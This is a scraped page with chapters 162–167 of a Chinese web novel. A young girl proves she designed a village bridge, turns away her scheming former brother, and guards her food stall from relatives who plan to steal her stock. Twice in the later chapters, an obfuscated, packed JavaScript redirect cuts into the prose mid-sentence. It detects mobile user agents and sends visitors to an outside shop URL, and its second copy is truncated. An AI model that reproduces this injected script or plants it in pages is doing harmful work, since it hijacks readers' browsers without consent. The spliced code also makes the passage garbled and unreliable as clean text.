《带下堂娘吃大肉,渣爹一家急眼了》 第162章 两个俊朗少年 原先泥沙沉积,大大抬高了河床,不过经过这小半月村里人的努力,硬是生生往下挖了一丈。 分流道宽敞,也是深一丈多,一直通往地龙翻身造成的巨大裂缝之处,两岸堆砌了石头。 大桥遥遥在望,仿佛架在两座山间,有一种巍峨的气势。 等离得近了,这种气势更加的强大凌人,淡淡的雾气萦绕着大桥,皓月白一样的大理石又显得有些不真实。 这是几百名工人像蚂蚁一样连日忙碌的结果。 乔镰儿对今年的防洪还是很有信心的,有了桥,再有这么深的河床和分流道,水的冲击减缓了,也漫不开。 “大哥,这座桥不知道是哪位能工巧匠设计出来的,水流到这里就缓了许多,想必是为了减少对下游的冲击。” 一个清朗又有些稚嫩的声音道,如珠落玉盘,雨落芭蕉,很是好听。 “是啊,南国这里,一进入七月,雨季马上到来,下游两岸都是农田,想必人们吃了不少苦,这座大桥已经完工,正好可以抵御今年的洪灾。”另一个声音有些成熟了,听着温润,却也还是少年。 “哇,能造出这座桥的简直是天才,比工部那些人有脑子,工部那些人造的桥,总是不到两三年就被冲垮了。” “弟弟,严以律己,宽以待人,工部的人不是不用心,是有些河段,的确不容易对付。” “好,听哥哥的,是我妄言了。” 乔镰儿没有听到两人说话,当她踏上眼前这一道坡坎,就看到有两个身影站在桥墩旁,伸手触摸着那些石板,端详打量着。 一大一小,大的大概十五六岁,小的十二三岁,大的俊眉修目,身形若柳,小的还没有长开,却是更为精致,五官无一处不完美,眼眸黑若曜石,睫毛又长又密,不知道以后长大了,会是怎样的倾城倾国。 他们身上的衣服料子并没有多么华丽,但通身上下,都透出一种贵气来,怕是有意遮掩伪装。 两人出现在这样的乡野环境里,显得格格不入,很是突兀。 让乔镰儿一度怀疑,会不会是精怪所化? 想到这里,她无语地抽了抽嘴角,就两个大活人,哪里有这么玄幻? 现在天还没有完全亮,蒙着一层淡淡的黑,那些回家的工匠还没有回来,搭的好几处帐篷,也在远一点平坦的地方,只有两个人守在附近的棚子下,可也是呼呼大睡,不知来人。 “你们在做什么?”乔镰儿稳了稳心神,清冷开口。 今天大桥就要落成,突然出现两个人在这里,她还是有些警惕的,虽然她并没有从这两人身上感受到任何不对的气息。 看到眼前突然出现的瘦瘦小小的女娃子,一副把他们当贼的样子,小男孩皱起了眉头。 “做什么要你管?招你惹你碍你眼了?” 乔镰儿被这话激发出了不快,也更加不客气起来:“天还没有亮,你们这就冒出来,这是工期的最后一天,谁看到你们都会警惕。” “那又关你这个小丫头什么事呢,跟我们问话,也得是这个工地上的人,你又是从哪里冒出来的野丫头。”小男孩牙尖嘴利。 乔镰儿想不到,这个才十二三岁的男孩,嘴皮子居然这么厉害。 “好了弟弟,她看着才七八岁,你别跟她计较。这大桥设计不错,我们找来图纸,也临摹上一份,肯定在其他地方还有用处。”少年说道。 乔镰儿哭笑不得,这就直接临摹抄上了,理所当然天经地义。 “这一座大桥是有人专门设计出来的,你们要临摹,也要跟设计桥梁的人说一声吧。” 虽然古代没有什么专利保护法,但这样当着设计者的面直接拿,真的好吗? 小男孩往前走一步,双手把腰一叉。 “真是奇了怪了,到底关你什么事,我们看到好的设计,还不能画下来了,还有,现在让我们去哪里找设计这座桥梁的人啊,小丫头,你是不是起得太早,还没有清醒过来,你不会还在梦中吧。” 他们也是连夜赶路,天透着黑的时候,马车从上方官道经过,看到这一座桥梁,远远看着新奇,就停了马车,下来详细观摩。 这一看才发现,这一座桥梁的构造是真的了不得,大拱小拱的设计,很适合过水和分洪泄压,现在还没有到雨季,水流不急不徐,可是经过这一座大桥的时候,却是减缓了许多。 正看得起兴呢,来了这么一个小丫头,个子才到他耳朵这么高,竟然颐指气使起来。 小男孩很生气,说了一通还不尽兴,又继续连珠炮弹道:“还有,这里我们先来的,你是后来的,要问也该是我们问你,你还跟我们问罪来了。” 他想到了什么,黑瞳里闪过一抹狡黠,恍然大悟。 “噢,对了,你来这里是不是想做坏事,肯定是了,要不然你这么小一个,你爹娘会放心让你出门,你肯定是偷偷跑出来的。” 说完这些小男孩俨然已经是一副胜利的姿态,抱着双手,一脸傲娇。 “弟弟,不要调皮,她应该是当地人,以为我们要使坏。”少年虽然对乔镰儿也是有些不满,但是看她太小了,不想跟她过多纠缠。 他又看向乔镰儿,道:“小丫头,你家就在附近吧,大清早的,四野一个人都没有,一个小孩子在外头不安全,还是回家去吧。” “哥哥,她都这样怀疑我们了,你还对她这样好。” 小男孩不服气,往前走了一步,低头逼视乔镰儿。 “小丫头,老实交代。” “要不然,不放你离开。” 他就是不爽,他怎么就被当做贼了?是可忍,孰不可忍。 他就是要一个说法。 乔镰儿有些哭笑不得,到底是个十二三岁的孩子,不过是心气高而已,她的灵魂都二十七岁了,当然不可能真的跟他计较。 她看着小男孩,目光淡淡。 “我为什么到这里来啊,因为这座桥是我设计的,我来看看成果怎么了?” 第163章 签个名吧,签在袖子上 轻飘飘的一句,带着些许的讥讽。 清晨凉风习习,乔镰儿的这句话,好像夹杂在风里,很快就飘远了。 可是两兄弟,却听得清清楚楚。 他们的眼睛都齐齐地瞪大了。 然后又把乔镰儿从头到脚,好好打量了一遍。 小男孩抬起手指指着她“你?你设计的这座桥梁?” “是啊,有什么问题吗?”乔镰儿笑道。 “这怎么可能,你一个乡野毛丫头,可能连字都不识一个,你还会设计桥梁,这哄鬼呢。” 小男孩眉头都皱了起来。 “对呀,我就是哄鬼,如果你觉得你是鬼的话。” 乔镰儿眼睛望天。 “我不信,你就是在骗人,如果这座桥梁真的是你设计的,我倒立走路,一直走到上面的路上去。” 本来乔镰儿本着他爱信不信的想法,现在听他这样说,就来了些兴趣。 “真的?那再赌十两银子怎么样。” “何止是十两,我给你双倍,二十两。” 见他回答得这样快,乔镰儿觉得,自己喊少了,心里面有些后悔。 这两个一看就是有钱人,唉,她喊一百两就好了。 “我现在更加肯定,你才是鬼鬼祟祟的那个人,你到这里来目的不良,因为你连这样的谎话都搬出来了。” 小男孩这下子更加坚定。 “弟弟,别说了。”少年刚才一直在观察乔镰儿,见她身上是那种稳操胜券的自信,不像是装出来的,不由得诧异。 他看着乔镰儿“小丫头,你说是你设计的,可有什么证明?” 乔镰儿本来不会给什么证明,但是现在为了二十两,她会让这两人相信,这座桥梁是她的构想。 本来她想着去喊那些工匠,往下面一看,赵里正带着自家两个兄弟上来,今天完工大吉,赵里正心情高兴,天一亮,就迫不及待来看。 “你们等着,那是我们大田村的里正,这座桥就是为我们大田村修的。” 现在天方已经完全清明了,太阳在东边冒了半个头,那一片天空被晕染出一片金紫色的霞光,像轻纱一样点缀在天地之间。 赵里正他们逆着霞光走上来,隐约看到大桥旁有几道身影。 心想今天工匠应该会放松一些,竟然起得这么早。 翻过那一道大坡走近一看,才发现是两个陌生的少年,乔镰儿也在。 他有些疑惑,这几个孩子在这里干啥?他们看过来的目光,好像还在等他的样子。 “赵叔叔早上好呀。”乔镰儿笑,晨光中露出两排洁白的牙齿。 “镰儿,这么早你就到这里来了。” 赵里正心想,可能是乔镰儿忙着去县城,所以一大早先来看一眼桥梁吧。 “赵叔叔,他们两个不相信这座桥梁是我设计的,说我坑蒙拐骗,你就给个证明呗。”乔镰儿说。 赵里正的脸一下子变得严肃“谁不知道这座桥是你设计的,当时当着村里那么多人的面,你亲手把桥梁的构造画出来,一笔一画做不得假,然后我拿去官府备案,申请拨款,这个还用证明?” 他看向一大一小两个少年。 “看样子你们有些家世,可是也不该这样对待我们大田村的功臣,你们这是仗势压人,我这个做里正的不同意,大田村的村民也不同意。” 二人满面的惊诧,半天说不出话来。 竟然是真的,这,这也太不可思议了吧,天啦,这个小丫头是天才吗? 看到那边有工匠过来了,少年便向他问道“大叔,这位可是村里正吗?” 因为太令人震惊了,所以他还要再求证一遍。 “没错,这是大田村的赵里正,很是负责任,经常到上面来看桥梁的进展,给大家打气。”那个大叔笑笑说。 少年的目光落到乔镰儿的脸上,脸上的神情,是一种难以描述的惊羡。 “看来,真有少儿天才。” 小男孩的黑眸也是亮晶晶的“小丫头,你是真的厉害,我误会你了。” “不知道能不能让你签个名。” 乔镰儿“啊,签名?” “是的是的,我很敬佩你,你给我签个名,我用你的名字来勉励我,督促自己不断上进。” 看到乔镰儿才七八岁的样子,就已经这样厉害,给小男孩心中带来的波动不是一般的小。 “这个,不用了吧。” 刚才两人才针锋相对,这下子要签名,乔镰儿还真的有点不适应。 而且这一座桥梁的原创作者不是她,她也不好居这个功。 “不行,你一定要给我签名,你不签名我就不走。” 小男孩对着上方喊“你们去把笔墨取下来。”上面坡地有两个人在那里守着,听到吩咐,其中一个立刻回身去了。 赵里正摇头笑,看来是这几个孩子在这里起了争执,现在又和平了,还是孩子好,有什么不快不会真的计较。 “小丫头,我弟弟就是这样,他很敬重有能力的人,不过,这还是他第一次跟人要签名,他是十分佩服你的。” 少年淡淡一笑,眉宇间犹如清风润玉。 乔镰儿有些无奈,签名就签名吧,不过是一个名字。 等到仆从取来了笔墨纸张,小男孩却看都没有看纸张一眼,蹲了下来,把自己的袖子展在一块平坦的石板上。 “小丫头,你在这里签字。” 他的袖子一片白,而且宽大,的确适合签字,但这个操作把乔镰儿给看不会了。 “在衣服上写字?” “是啊,纸张容易丢失,容易泛黄,写在衣服上,才能保存久一点。” “可是,写着衣服上,衣服一洗,字迹就模糊了,没了。” “那我就永远不洗了。”小男孩坚定地说。 乔镰儿“……” “还是算了吧,激励在心中就可以。” “不行不行,一定要签名,这样才能带来更大的督促,当我贪玩的时候看到小丫头你的名字,我就会变得勤勉。” 小男孩神秘兮兮把头伸过来“小丫头,你要是不给我签名,我就不兑现那二十两了。” 他可是看得出来,这个女娃子是个小财迷。 人喜欢什么,什么就是她的软肋,哼。 第164章 倒立走上坡 果然,听到钱,乔镰儿无奈拿起了毫笔。 在小男孩展开的衣袖上,一笔一画写下“乔镰儿”三个字,为了避免张扬,她尽可能写得很小。 这样一来,她的字体就显得清新隽秀,小巧灵动。 “哇,小丫头你的字真好。” “你叫乔镰儿啊,镰刀的镰。”小男孩看了一眼乔镰儿“看你也的确像是会收拾人的样子。” 乔镰儿嘴角一抽,她这个名字起得随意,当时乔云妮生下她的时候,宋老婆子看到床尾有一把镰刀,就随口给她取了这个名字。 包括宋大花,宋小花,也是因为院子里长了些小野花。 不过她觉得带一个镰字挺好的,谁不服气就割谁。 “那你们叫什么名字呢?总不能你们知道我的名字,我连你们叫什么都不知道。” 乔镰儿说,这两个人掌握了她出生的地方,她的姓名,还有她做的事情,万一以后有什么麻烦,她也有个怀疑的对象,方便去查证。 “我叫裴祝锦,祝福的祝,锦绣的锦。”少年含着淡笑道。 “我叫裴时玖,时间的时,王字旁带一个久远的久。”小男孩也跟着道。 看到乔镰儿默然不语,裴祝锦继续道“我们的母家是连州人士,我们也偶尔在连州,其他的不好过多透露,还请乔姑娘见谅。” 连州,便是这里的辖州越州的邻州,相距越州百里,离大田村快要五百里。 而裴祝锦只是告诉母家在哪里,其他的并没有相告。 乔镰儿也不是有些打探人的私隐,知道个大概就差不多了。 这两个身份一看就不简单,人家有所保留也是应该的。 “那乔姑娘,这一座桥梁,我可以画下来吗?”裴祝锦请求。 “倒也不是要抄袭姑娘的创意,只是我希望这样的设计,能够为更多受洪涝灾害影响的地方带来福祉。” “你画吧。”乔镰儿大大方方地说。 前面看到乔镰儿死死护着,裴祝锦还以为,要说服她不容易,没想到她这样痛快。 看来前面完全是在不爽他们。 “接下来兑现承诺吧,我要去忙,就不奉陪了。” 乔镰儿看到整个太阳已经冒头了,再不回去家里人就该出来找她了,她出房间的时候,跟乔云妮说了一声她去看大桥,而大桥这里留了不少工匠,还有那些做饭的大娘,也是不用担心的。 裴时玖豪横地从袖子里面摸出一叠小银票,取了两张给她。 “票号就在咏关县。” 然后他双手撑地,稳稳倒立起来“准备好咯。” 乔镰儿忙说“给钱就可以了,倒立走就不用了,这山上都是石头,还有一些带刺的藤蔓,会划伤手。” 对于她来说,这样就是在作虐人。 “不行,我说到做到,父亲说了,男子汉大丈夫就要言而有信,顶天立地。” “哥哥,你快一点,好了我就开始走了。” 裴祝锦蹲在地上,把纸张铺在石头上,画着桥梁的样子,他画得很快,细节都不落下。 这样的画功,也是经过专门训练的。 最后一划落成,他把笔一收“好了。” 把纸张交给仆从“等到晾干了再卷起来,不要糊到了。” “乔姑娘,告辞。”裴祝锦对乔镰儿点头。 “谢谢你的设计,也为前面我们对你的唐突道歉。” “希望有机会再见。” 乔镰儿摸到银子的时候,心里面早就完全舒服了。 “没事没事,要是以后你们再冒犯我,给我银子就是。” 对二人挥手。 裴时玖也下意识伸出一只手来跟她招手,这一抽离,身体失去平衡摔在地上,屁股撞到了一块石头。 “哎哟哟,痛死了,呜呜。” “痛就不倒立了,乔姑娘已经说了,不必这样做。”裴祝锦把他扶起来,轻轻给他揉着。 “我就要说到做到,免得乔姑娘看轻我。” 裴时玖继续倒立,他的手动了起来,像脚一样在路上行走,还走得挺稳的。 乔镰儿看着,摸着下巴,自言自语做出了评价“走得这样稳,难道是因为平时欠抽,被罚多了?” 哪里想到这样的话被裴时玖听到了,手上一晃,差点从坡上摔下来。 等到两人远去了,赵里正才问道“镰儿丫头,你看这座桥,没问题了吧。” 本来他也是想让乔林镰儿来看一眼的,可是乔镰儿天天赶早去县城,他就想着,这座桥是严格按照图纸规划建造出来的,应该没有什么问题。 现在乔镰儿在这里,正好问问她的意见。 乔镰儿刚才忙着应付那两个人,还没有好好看这座桥呢。 她打量了一下,和记忆中的赵州桥一模一样,美观巍峨,仿佛是百分百的复刻。 “没问题的赵叔叔,你看河水经过这里,流速都变缓了许多呢。” “那就好,用不了几天雨季就来了,咱们该做的准备已经做了,希望今年能有好的收成。”赵里正道“如果能达到这个效果,镰儿,你的人生怕是会迎来更大的福气呀。” 乔镰儿从岸边回家,远远看到,乔老太在院门口张望呢。 当她经过村里的义学堂,发现有一个人影躲在后墙处,鬼鬼祟祟的,耳朵贴在墙根上。 他时而站起来,然后又蹲下来,用树枝在地上写画。 可不正是宋瑞儿,他竟然在偷学知识。 村里的义学堂,是村里想要让孩子上学的人家,一同出资请先生建的,一般秀才都不肯到村里来教书,村里的王秀才也是在镇子上教书。 现在在村里教书的,是一个考了好些年都考不上秀才的童生。 想要在义学堂读书,要给先生奉上束修,除此之外,每年还要交二两银子。 宋瑞儿早就想读书,可宋老婆子觉得浪费钱,不让他读。 不过,宋瑞儿心中有志气,偷偷跑来学。 宋瑞儿看到乔镰儿,眼珠子一转,腰板就直了起来。 现在正好下课,他就对教室里头喊道“先生,我来交学费了。” 施先生快步走出来,看到宋瑞儿手上空荡荡的“学费呢。” 学费是十条干肉捆成一束,另外还有二两银子。 宋瑞儿跑过来,一把抓住了乔镰儿“我姐,我姐来给我交学费了。” 第165章 我若入仕,少不了你好处 宋瑞儿挨了那么多棍子,这里痛那里瘸的,可是他想上学的决心坚定,所以抓住乔镰儿的手腕,也是抓得死死的。 他多次跟宋老婆子请求,他想上学,可是宋老婆子都没有答应。 他很清楚,他想要真正出人头地,必须要靠读书这一条路。 乔镰儿是女娃子,不能科举,但是她说过,她经常到这里来偷听,所以她能够读书写字,还设计了那一座大桥,又有很多赚钱的主意。 这件事给宋瑞儿的触动是很大的,也让他决心更加坚定。 就算不能考中举人,读书了,脑子会变得更加聪明,对人生大有裨益。 乔镰儿冷冷看着他“我什么时候说过,要给你交学费了。” “姐,你赚了那么多银子,就给我交个二两你都不肯吗?等我读了书,以后入了仕途,少不了你的好处。”宋瑞儿可怜巴巴地说。 “你忘记断亲书了?我不是你姐。”乔镰儿没有表情的,把宋瑞儿的手指头一个个掰开。 宋瑞儿被打了几顿,还没有养好,哪里是她的力气?最后一个手指头松开了,他一个趔趄。 又想像狗皮膏药一样贴上来,看到乔镰儿眼里更加冰冷,有点像她在山上杀人的眼神,心头一阵发怵,就停下了脚步。 “姐,求求你了,我真的想读书,我还这么小,正是读书的年纪,难道你要眼睁睁看着我当泥腿子吗?我的人生是可以大有作为的,只要让我读书,我就有信心学好,我比课室里的那些蠢货聪明多了。” 听到这样的话,教书先生皱起了眉头,这个宋瑞儿,连学费都没有,就开始骂他的学生是蠢货了。 就算他再聪明,这样的学生心术不正,他也是不想收的。 先生哼了一声,拂袖去了课室。 乔镰儿面无表情“我不可能给你一分一毫的好处。” “泥腿子又咋了?下地干活是什么见不得人的事情吗?” “如果这是老天给你安排的路,你就好好受着。” 说完走了。 如果那天她和乔云妮离开宋家的时候,宋瑞儿没有说那些刻薄绝情的话,他只是为了自己活得更好,选择留在宋家。 他心里面仍然认乔云妮是他的娘,她是他的姐姐。 那么这学费她是愿意出的。 可是,宋瑞儿的心早就坏透了,现在口口声声喊姐,也不过是想利用她而已。 宋瑞儿看着乔镰儿远去,小小的拳头握紧,乔镰儿,你不让我读书是吧,你以为这样,就可以折断我的翅膀了吗? 不,我会豁出一切,只要有一点机会,我都会死死把握住,我一定要出人头地。 不知道为什么,宋瑞儿又想起了宋老三,如果宋老三还在,一定是会让他读书的吧。 “爹,你到底在哪里啊?你到底死没有死,母亲和姐姐无情,瑞儿这辈子只能靠你了。”宋瑞儿又躲在了课室的后墙外,边用树枝在地上写,边抽抽搭搭掉眼泪。 他是隐隐约约从宋老太嘴里听到过什么,但到现在一点动静都没有,连他都有点怀疑他当时是不是听错了。 乔镰儿在大桥那儿耽搁得有点久,看到她回来,乔云妮道“镰儿,不说是去看一眼,咋现在才回来。” 吕氏道“大家都吃过早饭了,还是热着的,快去吃吧。” 乔镰儿伸开手,二十两银票躺在掌心,让大家眼睛瞪了一下。 “这是哪来的?”乔老大问道。 每天赚到的钱,都会交到公中保管,昨天的已经交到乔老太那里了,乔镰儿这里还有二十两。 然后乔镰儿跟大家把刚才的事情说了一遍。 “这么轻易就得了二十两,还真的是遇到贵人了。”乔老三喃喃。 “是啊,这些有钱人,随手就是这么多,这二十两是多少人家的积攒。”吕氏也说。 小猛“哼,敢不相信镰儿妹妹有这个能耐,这下子破财了吧。” 早饭是鸡蛋饼和肉饼,还有一碗小米粥,小米粥里加了糖,放了红枣和枸杞。 乔镰儿把肚子填饱,赶着马车带着全家人,上县城去喽。 除了吕氏和大猛小猛,其他人都去。 乔老三想了想,他还是留了下来。 屋前屋后都晒着麦子,家里又藏着那么多钱,还是留一个大男人在家吧。 乔老头坐在马车上说“活了一大把年纪,这还是第一次去县城呐。” 乔镰儿心中有点触动,古时候交通不发达,很多人一辈子在村子里生,在村子里死,最远的地方就是去到镇子,更远的就没有去过了。 哪怕这里有马车经过,可是乔老头和乔老太也没有去城里的理由。 农人日出而作,日落而息,守着田里庄稼,院前院后。 现在小吃摊做起来了,乔老头和乔老太才决定去看一眼。 后头的一辆马车上,宋家一家子,也都挤上了马车。 宋瑞儿告诉他们,乔家人在咏关县长青街上卖他们没有见过的东西,生意火爆,一天几十两。 他们按捺了一天,是真的坐不住了,决定也去看看。 他们不敢走镖,山上的菌子那么多人争抢,也赚不到几个钱。 可是摆摊,做小吃生意,这种事情谁不会?而且县城客流量又大。 乔镰儿还是老样子,开着马车到那个废院前,把食材物资装得满满的。 她从马车箱下来的时候,就看到一个人在小巷口鬼鬼祟祟。 那个人见她的目光看过来,闪得很快,可她还是看清楚了,是宋老大。 把另一个小巷口,也探出了一个脑袋,是宋大明。 这是全家都跟来了。 乔镰儿眸子一冷。 刚才马车就直接停在院门口,一辆马车的承重是二千斤,乔家那么多人加上这些物资,已经远远超过这个斤两。 如果她现在就赶着马车回去,下这么多食材,一定会引起宋家人怀疑。 乔镰儿想了想,赶着马车进了院子,好在大门很大,完全容纳得了马车经过。 然后她把院门关上。 宋老大和宋大明怎么会甘心,赶紧连奔带跑朝这里冲过来,他们要看清楚,是怎么拿的食材,跟谁买的货。 第166章 爬院墙是吧,那就打地鼠 阿大他们这会儿刚刚吃过早饭,他们真的听乔镰儿的话买了一身新衣服,都是粗麻衣,质量比上次乔镰儿买的还要次一点,但也干净整洁,至少有换的了。 乔镰儿迅速对他们吩咐了一阵。 孩子们脸色严肃起来,赶紧行动。 乔镰儿的马车门,对着原先用来做仓库的一个房间。 就算宋老大他们看到,也只能猜到,她是从仓库里面拿的食材。 看到院门紧紧关着,宋老大和宋大明对视一眼,决定爬墙头,不要打草惊蛇。 这会儿,宋老二宋大花还有其他几个宋家人也来了,都准备爬墙头。 这个院子看起来像是废旧后重新打理过的,院墙并不高,几人也爬得比较轻松。 可是宋老大和宋大明刚刚冒了一个头,就有棍子当头打下,下手毫不留情,打得很重,两人惨叫一声,捂住脑门就跌了下去,摔在地上,屁股都要分成几瓣。 宋大花也冒了个头,还没看清楚院子里,也是一棍子打来。 就像打地鼠一样。 宋小明观察了一下环境,跑到茅厕那边的院墙,他终于爬上了墙头,坐在上面松了一口气,正要跳下去,一棍子朝他胸口捅来。 “嗷呜。” 宋家人不服气,他们不过是想看一眼食材的来源,竟然受到了重重的阻碍,有没有天理王法? “大哥,咱们直接撞门进去,这个死丫头,拿点食材也藏藏掖掖的,生怕我们也进货跟她抢生意,这个钱我们宋家还非赚不可了。” “好。”宋老大应下,又招手让沈氏和陈氏跟上。 几人伸长了手,卯足了全身力气去推门,门却一下子打开了,几人一下子失去了平衡,都往里摔进去。 一声声闷响,一个个人影,把院子里的几个孩子看呆了。 而这会儿,乔镰儿正要赶着马车去八号摊,才打开了门。 没想到就撞到这么精彩的一幕。 他们正好摔在大红的脚边,大红打着响鼻,一脸的不耐烦,把蹄子抬起来,在沈氏的脸上摩擦着。 只要一用力,沈氏的脑袋就会开花。 “不要啊,不要啊,我错了,我再也不跟来了。”沈氏差点吓得尿裤裆。 她能够感受到,马蹄子的沉重要把她的脸都踩裂了。 大红放下了蹄子,又抬起另一只脚,继续在宋老大的脸上摩擦。 “不要啊,我就这一条命,没了就没了,求求马大哥你放过我吧。” 大红还是不肯挪蹄子,仿佛要他保证。 “我错了,我再也不跟着了,马大哥你大人有大量放过我吧。” 大红这才放下了蹄子,黑亮的眼睛一斜,其他几人见状,赶紧告饶保证。 看到大红暂时放过他们,这才连滚带爬跑了出去。 乔镰儿没想到,大红还会收拾人呢,她下定决心,一定要把大红买下来。 “镰儿姐你就放心吧,今天我们就负责盯着这些人,不让他们去闹事。”阿大说道。 “好,不过这里他们暂时不会来了,不要让他们靠近摊子就是。” 乔镰儿赶着马车走了。 果然,离开了这里,宋家人还是觉得不死心,又想朝摊子那边去。 可是那些孩子又冒出来了,冷不防对着他们就是一棍子,把他们打得到处逃窜,就像过街老鼠一样。 根本就是连乔家的摊子都接近不了。 然后他们远远的就看到,八号摊子一锅锅,一盆盆的食物端上来,摊前排着长队,不断移动,铜板儿哗啦啦地扔到竹篓里。 偶尔会来一个像酒楼的掌柜或者老板的,带着伙计,从这里扛走一袋又一袋的食材。 这些人直接给白花花的银子。 宋家人看得眼睛都直了,赚钱是这样的轻易。 就是那些食材,是真的没有见过。 “娘,你看,他们这样赚下去,一年怕是有一千两吧。”宋老大按着被打伤的脑袋,一脸的羡慕嫉妒恨。 宋老太知道乔家人不好对付,哪怕只有乔镰儿一个,所以刚才没有去那个小巷。 没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615445|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了这么多人,还是倒了大霉。 她揉着昏花的老眼,想要看清那些食材,勉强能看得清,可是叫不出名字。 沈氏拦住一个拿着几样食材从身边经过的路人。 “你这买的,都是什么东西啊。” 这个路人挎着一个篮子,几样吃的都买了,很是齐全。 她有点惊讶:“你不知道吗?长青街八号摊,乔家人卖的小吃,天天都有人排队。” “那你告诉我,这些都叫啥。” 那个路人有点不耐烦,去摊前问一问不就是了。 不过她还是道:“这个炸土豆,这个煮花生,这个煮玉米,这个烤红薯——” “这些东西都没有见过,他们又是去哪里进的货。”陈氏问。 “这个我就不知道了,好像是说跟丹曲国商人进的货,丹曲国的商人只把这些食材卖给他们,其他人可买不到。” 路人说完,挎着篮子走了。 “丹曲国,离这里隔了老远,隔了两个国家。”宋老大说。 听说那里盛产各种各样的作物,有许多农产品就是从那里传来。 “所以我们也没法查证他们乔家人说的是真的还是假的。”宋老二哼了一声。 “这么远的路,人家专门把食材运到这里来卖,还只卖给乔家,乔家咋这么好的运气。”沈氏抓心挠肺的。 宋小明说:“外国商人的货,应该就堆在那个废旧院子的屋子里,刚才我爬过了院墙,看到死丫头的马车停在一个屋子门口,她应该就是在装货。” 宋老大眼珠子一转:“看来今晚我们不用回去了,把食材准备好,明天我们也摆摊。” 大家明白了宋老大的意思,知道了放食材的地方在哪里,他们还用得着去买吗?直接去偷,去拿。 零成本,赚大钱,美滋滋。 “有那些臭小子守着院子呢,我们挨了他们这么多下。”宋大明揉着被木棍打疼的腰,咬牙切齿地说。 “让他们爬不起来不就是了,去准备一些东西就可以。”宋老二阴恻恻一笑。 第167章 要偷食材?好,满足你们 宋老太道:“既然是要摆摊,那得有摊位,长青街人流大,就选在这里,去跟市监交个摊位费,大明小明,你们还是回去,准备些炭火锅碗瓢盆,再把家里的那个铁灶搬来,还有放小吃的木板摊子也别忘了。” 乔家买的那个铁炉灶,不仅用来生火架锅,还延伸出了一部分用来放食材,是专门摆摊用的。 这个东西还是挺贵的,那就单独支个木板摊子。 “好的奶,我们这就回去,把东西准备得整整齐齐,就等着明天赚大钱吧。” 宋大明宋小明出发了。 至于其他人,去跟市监申请摆摊,本来以为三四两银子一个摊位,没想到竟然要七两银子,还是不太好的位置,好一点的位置要八两九两,看市令的意思,恨不得他们给十两。 宋老太舍不得花那么多的钱,但又想着跟乔家比较,让乔家好好看一看宋家的厉害,看到客源都被宋家争走了,不知道乔家人的脸色会有多难看。 想到那样的情形,不光是宋老太,其他宋家人也是心情激动。 “到底要好一点的摊位,还是一般点的摊位?快点做决定,本官还有事情要忙。”市令见他们磨磨蹭蹭的,语气就不太好了。 宋老太将心一横:“大人,离八号摊位最近的,是哪一个摊子。” “六号摊子刚空出来,这个摊的位置比八号更好,你们自己看着办吧。” 听到市令这样说,宋老太只觉得精神一振。 咬咬牙,把袖子,衣领口,钱袋子,发包都翻遍,又摸了一下裤腿子,终于凑够了十两。 宋家人看得咋舌,老太太真会藏钱啊。 苏老太捧着钱,交到市令的手上。 “好了,这一个月,你们就到六号摊位摆摊吧,到了下一个月再续。”市令给开了文书。 拿着文书走出市监衙署,宋老太冷笑一声:“现在我们有文书了,那些臭小子就没有拦着我们的理由。” 宋家人气势壮了起来,抬头挺胸,走向摆摊的地方。 本来以为,那些孩子还会出来拦他们,他们把文书甩过去打脸。 甚至以他们扰乱摊主为理由,把他们送到县衙去。 哪里想到一路畅通无阻,那些孩子不知道跑哪里去了。 是乔镰儿看到宋家人往市监府衙的方向去了,知道他们要摆摊,去申请文书,就没有让阿大他们捣乱。 不然,宋家找到了借口,只怕要对付这些孩子。 虽然不知道她那些食材的道道,但是宋家人翻了院墙,肯定也看到她停在一个屋子的门口,然后载着货出来。 他们要摆摊,食材从什么地方来,不用想都知道。 乔镰儿钻到马车,在空间里找了一下,那些快要收获的农作物都是好的。 不过,她看到了几块地,因为她忙,没有来得及打农药,叶子和果实上爬着虫子,叶子被咬得残缺不全。 乔镰儿不去虫,只是加了化肥催长素,很快这些带虫子的作物就可以丰收了。 她收了土豆来看,发现果实小了近一半,有的部位发绿发黑,一边稍微饱满一边又干瘪,每一个都是这种样子。 又收了玉米,剥开玉米衣,个头也是很小,而且颗粒不饱满,还有好几处被虫子啃噬的痕迹,当然,蛋白质也是不可缺少的。 这还是乔镰儿第一次看到,空间里没有使用农药的作物收成的样子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615446|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想想也不奇怪,在她来的那个世界,往前推三十年,农药还没有普及,养出来的作物就是这个样子,所以产量很低。 还有花生,不仅个头小,打开里面甚至还卧着一条虫子,要么就是一边已经变质 这些东西都要派上用场了。 乔镰儿走出马车,宋家人已经来到了六号摊位,他们看着乔家人生意火热的样子,又盯着那些小吃,一个个眼红心热的。 不仅如此,口水还在不断的吞咽,他们也想吃。 可是乔家人愣是看都不看他们一眼。 沈氏鼓起勇气走过来:“哟,亲家,生意不错啊,要不要我们帮个忙啥的。” 阿大阿二立刻挡在她的面前。 “滚开,越过这条线,我们可就不客气了。” 不能阻止这些人也来摆摊子,总能阻止他们往八号摊子来捣乱。 宋家人才发现,这地上不知道什么时候多了一条用黑炭画的线。 “我们不要帮忙,人手足够。”乔老太也是手脚麻利地忙着,眼睛都不抬一下。 银子哗啦啦扔进竹萝,让人浑身都充满了动力。 陈氏也厚着脸皮道:“唉呀,都是一家人,不用跟我们客气,我们帮忙也不跟你们要工钱,提供一点吃的就可以。” 话是这样说,她们也不敢越过那一条黑线,大概是因为前面被打怕了。 